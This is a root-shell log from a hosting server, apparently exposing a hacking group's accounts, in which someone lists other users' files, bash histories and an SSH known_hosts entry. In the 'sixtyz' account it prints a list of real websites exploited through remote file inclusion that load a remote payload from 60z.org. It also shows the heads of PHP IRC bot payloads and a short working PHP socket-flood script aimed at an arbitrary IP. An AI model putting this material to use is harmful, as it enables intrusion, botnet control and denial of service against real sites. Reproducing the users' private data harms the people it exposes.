[root@demon2 felosi]# ls -al
total 91140
drwx--x--x  7 felosi felosi     4096 Feb 10 12:51 .
drwx--x--x 50 root   root       4096 Mar 27 16:19 ..
-rw-r--r--  1 felosi felosi 72806123 Oct  5  2007 backup-10.5.2007_21-30-03_hywdinfo.tar.gz
-rw-------  1 felosi felosi      403 Dec 28 11:46 .bash_history
-rw-r--r--  1 felosi felosi       24 Aug  3  2007 .bash_logout
-rw-r--r--  1 felosi felosi      176 Aug  3  2007 .bash_profile
-rw-r--r--  1 felosi felosi      124 Aug  3  2007 .bashrc
-rw-rw-r--  1 felosi felosi     6136 Aug 29  2007 da.cpanel.import.9beta2.tar.gz
-rwxrwxrwx  1 felosi felosi    20561 Aug 29  2007 da.cpanel.import.pl
-rwxrwxrwx  1 felosi felosi      280 Oct  5  2007 defaults.conf
drwx--x--x  5 felosi felosi     4096 Aug  3  2007 domains
-rw-r-----  1 felosi felosi 20324841 Nov 12 16:31 earn.tar.gz
drwxrwxr-x  2 felosi felosi     4096 Oct  5  2007 export
drwxrwxr-x  2 felosi felosi     4096 Oct  5  2007 import
-rw-r-----  1 felosi mail         34 Aug  3  2007 .shadow
drwx--x--x  2 felosi felosi     4096 Dec 28 11:35 user_backups
drwxr-xr-x  3 felosi felosi     4096 Dec 13 22:41 webmail
[root@demon2 felosi]# cat .bash_history
cd
ls
wget http://kade.nu/da/da.cpanel.import.9beta2.tar.gz
tar zxvf da.cpanel.import.9beta2.tar.gz
chmod 777 da.cpanel.import.pl defaults.conf
mkdir import export
nano -w defaults.conf
ls
ls
ls
ls import
ls user*
ls
cp backup-10.5.2007_21-30-03_hywdinfo.tar.gz import
per *.pl
perl *.pl
cd export
ls
cp hywdinfo.tar.gz ../user_backups
ls
cd ../user_backups
ls
exit
cd
cd user_*
ls
ls
ftp sph1.net
exit
[root@demon2 felosi]# cd ../felosii
[root@demon2 felosii]# ls -al
total 48
drwx--x--x  6 felosii felosii 4096 Aug  1  2007 .
drwx--x--x 50 root    root    4096 Mar 27 16:19 ..
drwx------  2 felosii felosii 4096 Aug  1  2007 backups
-rw-r--r--  1 felosii felosii   24 Jun 30  2007 .bash_logout
-rw-r--r--  1 felosii felosii  191 Jun 30  2007 .bash_profile
-rw-r--r--  1 felosii felosii  124 Jun 30  2007 .bashrc
drwx--x--x  3 felosii felosii 4096 Jun 30  2007 domains
-rw-r--r--  1 felosii felosii  383 Jun 30  2007 .emacs
drwxrwx---  3 felosii felosii 4096 Aug  1  2007 imap
drwx------  2 felosii felosii 4096 Aug  1  2007 mail
lrwxrwxrwx  1 felosii felosii   36 Aug  1  2007 public_html -> ./domains/felosi-inc.net/public_html
-rw-r-----  1 felosii mail      34 Jun 30  2007 .shadow
[root@demon2 felosii]# cd ../g00ns83
[root@demon2 g00ns83]# ls -al
total 64
drwx--x--x  9 g00ns83 g00ns83 4096 Apr 18 21:47 .
drwx--x--x 50 root    root    4096 Mar 27 16:19 ..
drwxrwxr-x  4 g00ns83 g00ns83 4096 Apr 18 21:52 backup
drwx------  2 g00ns83 g00ns83 4096 Aug  2  2007 backups
-rw-------  1 g00ns83 g00ns83 2218 Dec 30 11:59 .bash_history
-rw-r--r--  1 g00ns83 g00ns83   24 Aug  2  2007 .bash_logout
-rw-r--r--  1 g00ns83 g00ns83  176 Aug  2  2007 .bash_profile
-rw-r--r--  1 g00ns83 g00ns83  124 Aug  2  2007 .bashrc
-rw-------  1 g00ns83 g00ns83  232 Apr 18 21:47 .clipboard.txt
drwxr-xr-x  3 g00ns83 g00ns83 4096 Aug  2  2007 domains
drwxrwx---  3 g00ns83 g00ns83 4096 Aug  2  2007 imap
drwx------  2 g00ns83 g00ns83 4096 Aug  2  2007 mail
drwxrwx--- 15 g00ns83 g00ns83 4096 Aug  2  2007 Maildir
lrwxrwxrwx  1 g00ns83 g00ns83   37 Aug  2  2007 public_html -> ./domains/g00ns-forum.net/public_html
-rw-r-----  1 g00ns83 mail      34 Mar  7 19:56 .shadow
drwxr-xr-x  3 g00ns83 g00ns83 4096 Jan 29 11:45 webmail
[root@demon2 g00ns83]# cat .bash_history
cd
cd public_html
ls
mv index.html indexold
nano -w includes/config.php
exit
id
mc
exit
ls
find c99
cd public_html
ls
ls admin1cp/
ls
ls arc
ls archive
ls clientscript
ls donations
ls customavatars/
ls wls
ls nex
mkdir /home/g00ns83/backup
mv nex/Seminar2.rar /home/g00ns83/backup
ls
ls nex
rm -rf nex
ls
ls spic
mv omg.html /home/g00ns83/backup
ls
nano in.php
nano indexold
mv indexold /home/g00ns83/backup
ls
ls hax
rm -rf hax
ls
nano calendar.php
mv sawnmapscan /home/g00ns83/backup
ls
nano sn00gnews.php
nano vboutput1.php
ls signaturepics/
ls signaturepics/signaturepics/
nano report.php
nano online.php
nano technews.php
nano sendmail
ls images1
mv index.html indx.html
ls
mv oldlayout /home/g00ns83/backup
ls
nano license
nano image.php
ls wls
ls uploads
ls tutorials/
nano downloads.php
ls
nano in.php
nano login.php
ls includes
cd includes
ls
nano index.html
ls
nano config.php.new
nano config.php.new.bak
nano functions_bigthree.php
nano modfunctions.php
nano functions.php
cd /home/g00ns83/public_html
ls
ls
nano mysql
nano secnews.php
nano site_members.php
mv site_members.php /home/g00ns83/backup
ls
ls z3r0
ls
ls fusion
ls /home/g00ns83/backup
ls images1
mv images1 /home/g00ns83/backup
ls
ls botnets
mv sn00gnews.php /home/g00ns83/backup
ls
nano secnews.php
nano vboutput1.php
cd /
ls
cd home
ls
cd /home/g00ns83
ls
w
/var/spool/mail/g00ns83
whoami
uname -a ; id
who
users
nano index.ph
nano index.php
ls
cd public_html/
ls
nano index.php
nano index.php
ls
nano fusion
cd fusion
ls
cd $home
ls
cd public_html/
echo $home
ls
ls wls
nano wls/index.html
rm wls/index.html
ls
chmod 0644 wls
ls
chmod 777 wls
ls
mv wls /home/g00ns83/backup
ls
nano online.php
nano faq.php
rm favicon.ico
ls
ls
ls
lsls
ls
mv mysql /home/g00ns83/backup
user
users
ls
ls
ls
uptime
users
cd
cd public_html/includes
nano -w config.php
top
exit
cd
cd public_html
mkdir sec
cd sec
wget http://phpsec.org/projects/phpsecinfo/phpsecinfo.zip
unaip *.zip
unzip *.zip
mv phpsecinfo-20070406 php
rm -rf php
exit
cd
cd public_html/includes
nano -w config.php
chown root:root config.php
pwd
exit
cd
cd public_html
cd includes
nano config.php
nano config.php
nano config.php
exit
cd
exit
wget http://13337.org/sem.zip
su sn00g3s
[root@demon2 g00ns83]# ls -al public_html/
total 1980
drwx--x--x 33 g00ns83 g00ns83   4096 Apr 18 21:47 .
drwxr-xr-x  8 g00ns83 g00ns83   4096 Apr 18 21:38 ..
-rw-r--r--  1 g00ns83 g00ns83   9058 Apr 18 21:46 404.shtml
drwxr-xr-x  4 g00ns83 g00ns83   4096 Aug  2  2007 admin1cp
-rw-r--r--  1 g00ns83 g00ns83  15770 Jun 19  2007 ajax.php
-rw-rw-r--  1 g00ns83 g00ns83  16362 Jun 19  2007 announcement.php
drwxr-xr-x  6 g00ns83 g00ns83   4096 Oct 28 09:25 anymedia
-rw-r--r--  1 g00ns83 g00ns83  81511 Apr 16 21:48 arcade.php
drwxrwxr-x  2 g00ns83 g00ns83   4096 Aug  2  2007 archive
-rw-rw-r--  1 g00ns83 g00ns83    453 May 11  2005 arrow.jpg
-rw-rw-r--  1 g00ns83 g00ns83  15360 Jun 19  2007 attachment.php
drwxr-xr-x  2 g00ns83 g00ns83   4096 Aug 22  2007 ava
drwxr-xr-x  3 g00ns83 g00ns83   4096 Aug  2  2007 botnets
-rw-rw-r--  1 g00ns83 g00ns83  74718 Jun 19  2007 calendar.php
drwxr-xr-x  2 g00ns83 g00ns83   4096 Aug  2  2007 cgi-bin
-rw-rw-r--  1 g00ns83 g00ns83     43 Jun 19  2007 clear.gif
drwxrwxr-x  5 g00ns83 g00ns83   4096 Oct 28 09:26 clientscript
drwxrwxr-x  8 g00ns83 g00ns83   4096 Aug  2  2007 cpstyles
-rw-rw-r--  1 g00ns83 g00ns83   3266 Jun 19  2007 cron.php
drwxrwxr-x  3 g00ns83 g00ns83   4096 Aug  2  2007 customavatars
drwxr-xr-x  3 g00ns83 g00ns83   4096 Aug  2  2007 customprofilepics
drwxr-xr-x  2 g00ns83 g00ns83   4096 Aug  2  2007 donations
drwxrwxr-x  5 g00ns83 g00ns83  73728 Feb 17 16:23 downloads
-rwxrwxr-x  1 g00ns83 g00ns83  70283 Aug 11  2006 downloads.php
-rw-rw-r--  1 g00ns83 g00ns83  44375 Jun 19  2007 editpost.php
-rw-rw-r--  1 g00ns83 g00ns83  28539 Jun 19  2007 external.php
-rw-rw-r--  1 g00ns83 g00ns83   9213 Jun 19  2007 faq.php
-rw-r--r--  1 g00ns83 g00ns83   1150 Aug  2  2007 favicon.ico
-rw-r--r--  1 g00ns83 g00ns83   1150 Sep 29  2006 favicon.ico.1
-rw-r--r--  1 g00ns83 g00ns83  33531 Apr  1  2006 fbi.gif
-rw-rw-r--  1 g00ns83 g00ns83  33023 Jun 19  2007 forumdisplay.php
-rw-------  1 g00ns83 g00ns83     16 Feb 16  2007 .ftpquota
drwxr-xr-x 15 g00ns83 g00ns83   4096 Aug  2  2007 fusion
drwxr-xr-x  2 g00ns83 g00ns83   4096 Aug  2  2007 games
-rw-rw-r--  1 g00ns83 g00ns83  28532 Jun 19  2007 global.php
-rw-r--r--  1 g00ns83 g00ns83   4106 Apr 15 23:41 header.png
-rw-rw-r--  1 g00ns83 g00ns83    314 Dec  8 12:49 .htaccess
-rw-rw-r--  1 g00ns83 g00ns83     31 May 13  2005 .htaccessy
-rw-rw-r--  1 g00ns83 g00ns83    908 May 11  2005 i.jpg
drwxr-xr-x  2 g00ns83 root      4096 Dec 16 16:13 image
-rw-rw-r--  1 g00ns83 g00ns83   7006 Jun 19  2007 image.php
drwxr-xr-x 19 g00ns83 g00ns83   4096 Apr 16 20:18 images
drwxrwxr-x  7 g00ns83 g00ns83   4096 Apr 11 17:00 includes
-rw-rw-r--  1 g00ns83 g00ns83  17826 Dec 16 12:16 index.php
-rw-r--r--  1 g00ns83 g00ns83  43378 Jun 19  2007 infraction.php
-rw-r--r--  1 g00ns83 g00ns83 136603 Jun 19  2007 inlinemod.php
-rw-r--r--  1 g00ns83 g00ns83     18 Jun 13  2007 in.php
-rw-rw-r--  1 g00ns83 g00ns83  10290 Jun 19  2007 joinrequests.php
drwxr-xr-x  2 g00ns83 g00ns83   4096 Apr 15 22:46 katalyst
-rw-r--r--  1 g00ns83 g00ns83   8222 Jun 19  2007 LICENSER
-rw-rw-r--  1 g00ns83 g00ns83   9726 Feb  7 19:36 login.php
drwxr-xr-x  3 g00ns83 g00ns83   4096 Aug  2  2007 lolppp
-rw-rw-r--  1 g00ns83 g00ns83  34113 Jun 19  2007 memberlist.php
-rw-rw-r--  1 g00ns83 g00ns83  29733 Jun 19  2007 member.php
-rw-rw-r--  1 g00ns83 g00ns83  23300 Jun 19  2007 misc.php
drwxr-xr-x  3 g00ns83 g00ns83   4096 Aug  2  2007 mod1cp
-rw-r--r--  1 g00ns83 g00ns83  27560 Jun 19  2007 moderation.php
-rw-rw-r--  1 g00ns83 g00ns83   6705 Jun 19  2007 moderator.php
-rw-rw-r--  1 g00ns83 g00ns83  18056 Jun 19  2007 newattachment.php
-rw-rw-r--  1 g00ns83 g00ns83  35434 Jun 19  2007 newreply.php
-rw-rw-r--  1 g00ns83 g00ns83  16942 Jun 19  2007 newthread.php
drwxr-xr-x  8 g00ns83 g00ns83   4096 Aug  2  2007 oldlayout
-rw-rw-r--  1 g00ns83 g00ns83  19955 Jun 19  2007 online.php
-rw-r--r--  1 g00ns83 g00ns83   7398 Jun 19  2007 payment_gateway.php
-rw-r--r--  1 g00ns83 g00ns83  11724 Jun 19  2007 payments.php
drwxr-xr-x  2 g00ns83 g00ns83   4096 Oct 28 09:27 players
-rw-rw-r--  1 g00ns83 g00ns83  26065 Jun 19  2007 poll.php
-rw-rw-r--  1 g00ns83 g00ns83  72004 Jun 19  2007 postings.php
-rw-rw-r--  1 g00ns83 g00ns83   6568 Jun 19  2007 printthread.php
-rw-rw-r--  1 g00ns83 g00ns83  55163 Jun 19  2007 private.php
-rw-rw-r--  1 g00ns83 g00ns83  94525 Jun 19  2007 profile.php
-rw-r--r--  1 g00ns83 g00ns83   4188 Feb 14  2006 referrals.php
-rw-rw-r--  1 g00ns83 g00ns83    468 May 11  2005 refresh.jpg
-rw-rw-r--  1 g00ns83 g00ns83  38457 Jun 19  2007 register.php
-rw-rw-r--  1 g00ns83 g00ns83  14498 Jun 19  2007 report.php
-rw-rw-r--  1 g00ns83 g00ns83  13433 Jun 19  2007 reputation.php
-rwxrwxrwx  1 g00ns83 g00ns83      0 Sep 17  2007 scast_home.xml
drwxr-xr-x  2 g00ns83 root      4096 Dec  6  2003 script
-rw-rw-r--  1 g00ns83 g00ns83 115978 Jun 19  2007 search.php
drwxrwxr-x  2 g00ns83 g00ns83   4096 Aug  8  2007 sec
-rw-r--r--  1 g00ns83 g00ns83     61 Jun 10  2006 secnews.php
-rw-r--r--  1 g00ns83 g00ns83  10524 Apr  6  2007 sendmail
-rw-rw-r--  1 g00ns83 g00ns83  20225 Jun 19  2007 sendmessage.php
-rw-rw-r--  1 g00ns83 g00ns83  10195 Jun 19  2007 showgroups.php
-rw-rw-r--  1 g00ns83 g00ns83  10693 Jun 19  2007 showpost.php
-rw-rw-r--  1 g00ns83 g00ns83  65310 Jun 19  2007 showthread.php
drwxr-xr-x  3 g00ns83 g00ns83   4096 Aug  2  2007 signaturepics
-rw-r--r--  1 g00ns83 root     10026 Dec 16 12:33 snow.zip
drwxr-xr-x  2 g00ns83 g00ns83   4096 Aug  2  2007 spicvbtemp99
-rw-r--r--  1 g00ns83 g00ns83   2853 Apr 17 00:01 subheader.php
-rw-r--r--  1 g00ns83 g00ns83  10069 Apr 17 00:19 subscribersfeat.php
-rw-rw-r--  1 g00ns83 g00ns83  30709 Jun 19  2007 subscription.php
drwxrwxr-x  3 g00ns83 g00ns83   4096 Aug  2  2007 subscriptions
-rw-rw-r--  1 g00ns83 g00ns83   7904 Sep  7  2005 subscriptions.php
-rw-r--r--  1 g00ns83 g00ns83     61 Jun 10  2006 technews.php
-rw-rw-r--  1 g00ns83 g00ns83   8614 Jun 19  2007 threadrate.php
drwxr-xr-x  2 root    root      4096 Mar  9 11:19 tribal
drwxr-xr-x  4 g00ns83 g00ns83   4096 Aug  2  2007 tutorials
drwxr-xr-x  2 g00ns83 g00ns83   4096 Jan 10 13:41 uploads
-rw-rw-r--  1 g00ns83 g00ns83  21967 Jun 19  2007 usercp.php
-rw-rw-r--  1 g00ns83 g00ns83  18798 Jun 19  2007 usernote.php
-rw-r--r--  1 g00ns83 g00ns83  14047 Jun  3  2006 vboutput1.php
-rw-r--r--  1 g00ns83 g00ns83      2 Apr 17 00:18 viewed.txt
drwxr-xr-x  4 g00ns83 g00ns83   4096 Mar 27 16:15 z3r0
[root@demon2 g00ns83]# cd ../g00nsts395
[root@demon2 g00nsts395]# ls -al
total 1216
drwx--x--x 10 g00nsts395 g00nsts395    4096 Apr 16 19:57 .
drwx--x--x 50 root       root          4096 Mar 27 16:19 ..
drwx------  2 g00nsts395 g00nsts395    4096 Aug  1  2007 backups
-rw-------  1 g00nsts395 g00nsts395   15363 Apr 16 20:43 .bash_history
-rw-r--r--  1 g00nsts395 g00nsts395     304 Jun  3  2006 .bash_logout
-rw-r--r--  1 g00nsts395 g00nsts395     191 Jun  3  2006 .bash_profile
-rw-r--r--  1 g00nsts395 g00nsts395     124 Jun  3  2006 .bashrc
drwx--x--x  3 g00nsts395 g00nsts395    4096 Jun  3  2006 domains
drwx------  2 g00nsts395 g00nsts395    4096 Sep 20  2006 .elinks
-rw-r--r--  1 g00nsts395 g00nsts395     383 Jun  3  2006 .emacs
drwxrwx---  3 g00nsts395 g00nsts395    4096 Aug  1  2007 imap
drwx------  2 g00nsts395 g00nsts395    4096 Aug  1  2007 mail
lrwxrwxrwx  1 g00nsts395 g00nsts395      34 Aug  1  2007 public_html -> ./domains/ts.g00ns.net/public_html
-rw-r-----  1 g00nsts395 mail            34 Aug 21  2007 .shadow
drwxr-xr-x  7 g00nsts395 g00nsts395    4096 Apr 16 20:01 ts
drwxrwxr-x  3 g00nsts395 g00nsts395    4096 Dec 24 18:25 ts2afd
-rw-rw-r--  1 g00nsts395 g00nsts395 1155345 Apr 16 19:57 ts2_server_rc2_202319.tar.bz2
drwxr-xr-x  7 g00nsts395 g00nsts395    4096 Apr 16 19:59 tss2_rc2
[root@demon2 g00nsts395]# head .bash_history
quit
exit
ls
tar -xjf ts2_server_rc2_20201.tar.bz2
ls
rm ts2_server_rc2_20201.tar.bz2
ls
cd tss2_rc2/
ls
./teamspeak2-server_startscript start
[root@demon2 g00nsts395]# tail .bash_history
cd ts
ls
./teamspeak2-server_startscript stop
rm server.log
./teamspeak2-server_startscript start
cd $home
ls
cd tss2_rc2/
ls
nano server.log
[root@demon2 g00nsts395]# cd ../pr0be/
[root@demon2 pr0be]# ls -al
total 44
drwx--x--x  5  564  565 4096 Mar  9 11:56 .
drwx--x--x 50 root root 4096 Mar 27 16:19 ..
-rw-------  1  564  565  218 Jan  5 00:12 .bash_history
-rw-r--r--  1  564  565   24 Jan  4 23:06 .bash_logout
-rw-r--r--  1  564  565  176 Jan  4 23:06 .bash_profile
-rw-r--r--  1  564  565  124 Jan  4 23:06 .bashrc
drwx--x--x  3  564  565 4096 Jan  4 23:20 domains
drwxrwx---  3  564 mail 4096 Jan  4 23:20 imap
drwx------  2  564  565 4096 Jan  4 23:20 mail
lrwxrwxrwx  1  564  565   31 Jan  4 23:20 public_html -> ./domains/probe.net/public_html
-rw-r-----  1  564 mail   34 Jan  4 23:20 .shadow
[root@demon2 pr0be]# cat .bash_history
ls
wget http://irssi.org/files/irssi-0.8.12.tar.gz
w
tar jxfv irssi-0.8.12.tar.gz
tar -xzyf irssi-0.8.12.tar.gz
tar xvfz irssi-0.8.12.tar.gz
ls
cd irssi-0.8.12
ls
./configure
sudo glib
yum glib
./configure
uname -a
[root@demon2 pr0be]# ls -al public_html/
total 56
drwxr-xr-x 3 564 565  4096 Jan  4 23:20 .
drwx--x--x 8 564 565  4096 Jan  5 00:10 ..
-rwxr-xr-x 1 564 565   515 May  7  2007 400.shtml
-rwxr-xr-x 1 564 565   515 May  7  2007 401.shtml
-rwxr-xr-x 1 564 565   515 May  7  2007 403.shtml
-rwxr-xr-x 1 564 565   515 May  7  2007 404.shtml
-rwxr-xr-x 1 564 565   515 May  7  2007 500.shtml
drwxr-xr-x 2 564 565  4096 Jan  4 23:20 cgi-bin
-rw-r--r-- 1 564 565   606 Jan  4 23:20 index.html
-rwxr-xr-x 1 564 565 18554 Jun  5  2003 logo.jpg
[root@demon2 pr0be]# cd ../sixtyz
[root@demon2 sixtyz]# ls -al
total 56
drwx--x--x  7 sixtyz sixtyz 4096 Apr 16 19:09 .
drwx--x--x 50 root   root   4096 Mar 27 16:19 ..
-rw-------  1 sixtyz sixtyz  757 Apr 16 19:09 .bash_history
-rw-r--r--  1 sixtyz sixtyz   24 Mar 22 20:21 .bash_logout
-rw-r--r--  1 sixtyz sixtyz  176 Mar 22 20:21 .bash_profile
-rw-r--r--  1 sixtyz sixtyz  124 Mar 22 20:21 .bashrc
drwx--x--x  3 sixtyz sixtyz 4096 Mar 22 20:27 domains
drwxrwx---  3 sixtyz mail   4096 Mar 22 20:21 imap
drwxrwxr-x  3 sixtyz sixtyz 4096 Apr 16 17:34 irc
drwx------  2 sixtyz sixtyz 4096 Apr  2 14:00 mail
-rw-rw-r--  1 sixtyz sixtyz   36 Apr  2 11:45 .mailboxlist
lrwxrwxrwx  1 sixtyz sixtyz   29 Mar 22 20:27 public_html -> ./domains/60z.org/public_html
-rw-r-----  1 sixtyz mail     34 Apr 16 17:33 .shadow
drwxr-xr-x  2 root   root   4096 Apr 16 17:29 wee
[root@demon2 sixtyz]# cat .bash_history
ls
weechat
weechat-curses
weechat-qt
weechat -h
ls /usr/bin
nano /usr/bin/ddos
ls
ls po
ls intl
ls
./ltmain.sh
cat INSTALL
ls
nano weechat_icon_32.png
l
ls
ls debian
ls
ls /home/sixtyzzz
ls /home/sixtyz
ls
weechat
weechat-gtk
./weechat
w
who
uptime
l
ls
nano ltmain.sh
./weechat-curses
ls
ls po
ls doc
nano doc/weechat-curses.1
cd $home/.weechat
ls
cd $user
ls
mkdir irc
cd irc
wget http://weechat.flashtux.org/download/weechat-0.2.6.tar.gz
ls
tar -xzf weechat-0.2.6.tar.gz
ls
cd weechat-0.2.6
ls
./configure
make
ls
nano config.h
ls po
ls intl
ls
./install-sh
ls
nano README
cd /usr
ls
ls bin
ls
ls bin ; grep wee
weechat
ls
cd /home/sixtyz
ls
ls /kerberos
ls wee
ls irc
cd irc
ls
cd weechat-0.2.6
ls
make
ls src
ls src/irc
ls src/gui
ls
su
su
su
[root@demon2 sixtyz]# ls -al public_html/
total 688
drwxr-xr-x 5 sixtyz sixtyz   4096 Apr 14 20:48 .
drwx--x--x 8 sixtyz sixtyz   4096 Mar 23 00:10 ..
-rw-r--r-- 1 sixtyz sixtyz 226816 Apr  3 18:51 1202.exe
-rw-r--r-- 1 sixtyz sixtyz    160 Apr 13 18:24 1.txt
-rwxr-xr-x 1 sixtyz sixtyz    515 May  7  2007 400.shtml
-rwxr-xr-x 1 sixtyz sixtyz    515 May  7  2007 401.shtml
-rwxr-xr-x 1 sixtyz sixtyz    515 May  7  2007 403.shtml
-rwxr-xr-x 1 sixtyz sixtyz    515 May  7  2007 404.shtml
-rwxr-xr-x 1 sixtyz sixtyz    515 May  7  2007 500.shtml
drwxr-xr-x 2 sixtyz sixtyz   4096 Mar 22 20:21 cgi-bin
-rw-r--r-- 1 sixtyz sixtyz  12218 Apr 13 18:25 har.php
drwxr-xr-x 2 sixtyz sixtyz   4096 Apr  3 13:27 hi
-rw-r--r-- 1 sixtyz sixtyz    600 Mar 22 20:21 index.html
-rw-r--r-- 1 sixtyz sixtyz     45 Apr 14 20:48 in.txt
-rw-r--r-- 1 sixtyz sixtyz     68 Mar 24 17:32 kike.php
drwxrwxrwx 2 sixtyz sixtyz  36864 Apr  3 13:18 kl
-rw-r--r-- 1 sixtyz sixtyz   7680 Apr  5 19:23 l.exe
-rwxr-xr-x 1 sixtyz sixtyz  18554 Jun  5  2003 logo.jpg
-rw-r--r-- 1 sixtyz sixtyz 213504 Apr  2 22:46 lol.exe.exe
-rw-r--r-- 1 sixtyz sixtyz   7845 Apr 19 19:36 l.txt
-rw-r--r-- 1 sixtyz sixtyz  28444 Apr 13 17:50 rfis_good.txt
-rw-r--r-- 1 sixtyz sixtyz  16335 Apr 14 12:38 r.txt
-rw-r--r-- 1 sixtyz sixtyz  61440 Apr  7 11:10 s.exe
[root@demon2 sixtyz]# head public_html/rfis_good.txt
http://www.todayandtonight.com/news/admin/inc/change_action.php?
	format_menue=http://60z.org/l.txt?
http://www.todayandtonight.com/news/admin/inc/change_action.php?
	format_menue=http://60z.org/l.txt?
http://www.xtreme-nails.com/forum/viewtopic.php?p=15&sid=be4c914
	eb746ac7c96beea717fdfc692/&highlight=%2527.include($_GET[a]),
	exit.%2527&a=http://60z.org/l.txt?
http://www.newfunkradio.com//common/db.php?commonpath=http://60z.org/l.txt?
http://fan.reverielied.net/janime/protection.php?action=logout&siteurl=http://60z.org/l.txt?
http://auklan.net//vwar/convert/mvcw.php?step=1&vwar_root=http://60z.org/l.txt?
http://www.surfarticles.com//index.php?page=http://60z.org/l.txt?
http://articles2post.com//index.php?page=http://60z.org/l.txt?
http://malkaratuning.com//language/lang_german/lang_main_album.php?
    phpbb_root_path=http://60z.org/l.txt?
http://construccioneszaru.com//?mosConfig_absolute_path=http://60z.org/l.txt?
[root@demon2 sixtyz]# head public_html/l.txt
<?php
set_time_limit(0);
error_reporting(0);
echo "Inserted <b>successfully</b><br>\n";
$country = file_get_contents('http://api.hostip.info/country.php');
class irc_bot {
        var $config = array("server" => "irc.evilcoders.net",
                            "port"   => "6667",
                            "chan"   => "#fbilol",
                            "key"    => "lol",
[root@demon2 sixtyz]# head public_html/r.txt
<?php
set_time_limit(0);
error_reporting(0);
echo "Inserted <b>successfully</b><br>\n";
class gBot
{
 var $config = array("server"=>"irc.evilcoders.net",
                     "port"=>6667,
                     "pass"=>"",
                     "prefix"=>"[XX]|",
[root@demon2 sixtyz]# head public_html/1.txt
<?php
 for($i=0;$i<($_GET['length']*100);++$i)$sock=@fsockopen((
$_GET['prot'] == "udp" ? "udp://" : "").$_GET['ip'], $_GET['port'], $errno, $errstr, 0.0001);
?>[root@demon2 sixtyz]#
[root@demon2 sixtyz]# cd ../sn00g3s
[root@demon2 sn00g3s]# ls -al
total 72
drwx--x--x 10 sn00g3s sn00g3s 4096 Apr  3 01:33 .
drwx--x--x 50 root    root    4096 Mar 27 16:19 ..
drwx------  2 sn00g3s sn00g3s 4096 Aug  1  2007 backups
-rw-------  1 sn00g3s sn00g3s 3822 Dec 30 12:44 .bash_history
-rw-r--r--  1 sn00g3s sn00g3s  304 Jun  8  2006 .bash_logout
-rw-r--r--  1 sn00g3s sn00g3s  191 Jun  8  2006 .bash_profile
-rw-r--r--  1 sn00g3s sn00g3s  124 Jun  8  2006 .bashrc
-rw-------  1 sn00g3s sn00g3s    0 Aug 18  2007 .clipboard.txt
drwx--x--x  3 sn00g3s sn00g3s 4096 Jun  8  2006 domains
drwx------  2 sn00g3s sn00g3s 4096 Mar 20  2007 .elinks
-rw-r--r--  1 sn00g3s sn00g3s  383 Jun  8  2006 .emacs
drwxrwx---  3 sn00g3s sn00g3s 4096 Aug  1  2007 imap
drwx------  2 sn00g3s sn00g3s 4096 Mar 21 16:24 mail
-rw-rw-r--  1 sn00g3s sn00g3s   36 Dec 16 16:34 .mailboxlist
lrwxrwxrwx  1 sn00g3s sn00g3s   31 Aug  1  2007 public_html -> ./domains/g00ns.net/public_html
drwx------ 18 sn00g3s sn00g3s 4096 Jul  8  2007 pubold
-rw-r-----  1 sn00g3s mail      34 Dec 16 16:31 .shadow
drwx------  2 sn00g3s sn00g3s 4096 May 22  2007 .ssh
drwxr-xr-x  3 sn00g3s sn00g3s 4096 Aug 25  2007 webmail
[root@demon2 sn00g3s]# ls -al .ssh/
total 12
drwx------  2 sn00g3s sn00g3s 4096 May 22  2007 .
drwx--x--x 10 sn00g3s sn00g3s 4096 Apr  3 01:33 ..
-rw-r--r--  1 sn00g3s sn00g3s  224 May 22  2007 known_hosts
[root@demon2 sn00g3s]# cat .ssh/*
209.200.50.124 ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAIEAvMKDvuIjkr3pTrFe7S4M83WnL
sGkTn7rUcLm/l+PIrrjvWFh2Q0uFAlxD78spDpEtz/1A9ANS8MBUXrD0nSRC51iSVrOfNTOsmiay
3Ik1fxUIHshwqRUO8OmZt4pENPl9HNIsmFjLThyBNVEm9VA5m6fclTW6s1QW6+47WZZrEk=
[root@demon2 sn00g3s]# cd public_html/
[root@demon2 public_html]# ls -al
total 208672
drwx--x--x 28 sn00g3s sn00g3s      4096 Apr  3 01:40 .
drwx--x--x  8 sn00g3s sn00g3s      4096 Aug 28  2007 ..
-rw-r--r--  1 sn00g3s sn00g3s        10 Jul 22  2007 403.shtml
-rw-r--r--  1 sn00g3s sn00g3s         9 Jul 22  2007 404.shtml
-rw-r--r--  1 sn00g3s sn00g3s      4283 Dec 15 12:35 about.php
d---------  2 sn00g3s sn00g3s      4096 Sep 21  2006 admin
-rw-r--r--  1 sn00g3s sn00g3s    169072 Aug  6  2007 around.png
d---------  2 sn00g3s sn00g3s      4096 Sep 21  2006 author
----------  1 sn00g3s sn00g3s      2746 Sep 21  2006 author.php
d---------  2 sn00g3s sn00g3s      4096 Sep 21  2006 authors
-rw-r--r--  1 sn00g3s sn00g3s      6913 Jul 22  2007 auto.tar.gz
-rw-r--r--  1 sn00g3s sn00g3s      2956 Aug  6  2007 backcontent.png
-rw-r--r--  1 sn00g3s sn00g3s        97 Aug  6  2007 back.png
drwxr-xr-x  2 sn00g3s sn00g3s      4096 Sep 21  2006 cgi-bin
-rw-r--r--  1 sn00g3s sn00g3s      8557 Jul  8  2007 config.php
-rw-r--r--  1 sn00g3s sn00g3s     14901 Aug  6  2007 countdown.swf
-rw-r--r--  1 sn00g3s sn00g3s     19264 Jul 31  2007 csf.conf
drwxr-xr-x  2 sn00g3s sn00g3s      4096 Sep 21  2006 css
-rw-r--r--  1 sn00g3s sn00g3s      1461 Sep 21  2006 fade.js
-rw-r--r--  1 sn00g3s root         6726 Jan 26 19:01 fagime
-rw-r--r--  1 sn00g3s sn00g3s      5169 Aug 11  2007 faqbackup.php
-rw-r--r--  1 sn00g3s sn00g3s      1150 Oct  3  2006 favicon.ico
drwxr-xr-x  7 sn00g3s sn00g3s      4096 Sep 21  2006 feeds
-rw-r--r--  1 sn00g3s sn00g3s        20 Nov  5  2006 fm902i0342gk340ok-43l.php
-rw-r--r--  1 sn00g3s sn00g3s      3316 Sep 21  2006 forum.php
-rw-r--r--  1 sn00g3s sn00g3s     76244 Aug 16  2007 g00ns.png
-rw-r--r--  1 sn00g3s sn00g3s     65208 Dec  1 21:39 ggdg9.jpg
drwxr-xr-x  3 sn00g3s root         4096 Dec 30 15:40 hal
-rw-r--r--  1 sn00g3s sn00g3s      2959 Sep 21  2006 hallbkp.php
-rw-r--r--  1 sn00g3s sn00g3s       696 Sep 21  2006 hall_def.php
-rw-r--r--  1 sn00g3s sn00g3s      2911 Aug  8  2007 hall.php
-rw-r--r--  1 sn00g3s sn00g3s    252038 Sep 21  2006 header750x1001.jpg
